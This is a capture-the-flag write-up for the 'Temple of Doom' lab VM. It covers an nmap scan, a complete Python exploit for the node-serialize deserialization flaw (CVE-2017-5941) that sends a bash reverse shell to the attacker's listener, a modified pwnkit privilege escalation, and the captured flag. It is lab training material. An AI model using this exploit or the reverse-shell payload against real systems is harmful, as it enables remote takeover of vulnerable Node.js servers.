CTF : Temple of Doom : 1

Informations

• IP: 192.168.0.179
• MYIP: 192.168.0.36

First enumeration

Basics

console
$ sudo nmap -p- -A 192.168.0.179
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-21 23:22 CET
Nmap scan report for 192.168.0.179
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
|   256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_  256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:1E:D8:E3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms 192.168.0.179

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.49 seconds

Enumeration

"Node.js Express framework" => let's try json serialize exploit

python
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941

import requests
import re
import base64
import sys

url = 'http://192.168.0.179:666/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.0.36/1234 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'

cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)

On local kali :

console
$ pwncat -lp 1234

console
python2 nodejsshell.py

Got a shell :)

console
$ id
uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)

Alright, I couldn't find intended way to privesc this box so... pwnkit

But this time i needed to modify python source code like this :

python
# Set the environment for the call to execve()
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        b'GIO_USE_VFS=',
        None
]

Seems that fedora version needs GIO_USE_VFS env var...

And then...

console
# cat flag.txt
[+] You're a soldier. 
[+] One of the best that the world could set against
[+] the demonic invasion.  

+-----------------------------------------------------------------------------+
| |       |\                                           -~ /     \  /          |
|~~__     | \                                         | \/       /\          /|
|    --   |  \                                        | / \    /    \     /   |
|      |~_|   \                                   \___|/    \/         /      |
|--__  |   -- |\________________________________/~~\~~|    /  \     /     \   |
|   |~~--__  |~_|____|____|____|____|____|____|/ /  \/|\ /      \/          \/|
|   |      |~--_|__|____|____|____|____|____|_/ /|    |/ \    /   \       /   |
|___|______|__|_||____|____|____|____|____|__[]/_|----|    \/       \  /      |
|  \mmmm :   | _|___|____|____|____|____|____|___|  /\|   /  \      /  \      |
|      B :_--~~ |_|____|____|____|____|____|____|  |  |\/      \ /        \   |
|  __--P :  |  /                                /  /  | \     /  \          /\|
|~~  |   :  | /                                 ~~~   |  \  /      \      /   |
|    |      |/                        .-.             |  /\          \  /     |
|    |      /                        |   |            |/   \          /\      |
|    |     /                        |     |            -_   \       /    \    |
+-----------------------------------------------------------------------------+
|          |  /|  |   |  2  3  4  | /~~~~~\ |       /|    |_| ....  ......... |
|          |  ~|~ | % |           | | ~J~ | |       ~|~ % |_| ....  ......... |
|   AMMO   |  HEALTH  |  5  6  7  |  \===/  |    ARMOR    |#| ....  ......... |
+-----------------------------------------------------------------------------+

        FLAG: kre0cu4jl4rzjicpo1i7z5l1     

[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.

[+] You can follow me on twitter: @0katz

[+] Thanks to the homie: @Pink_P4nthe

\o/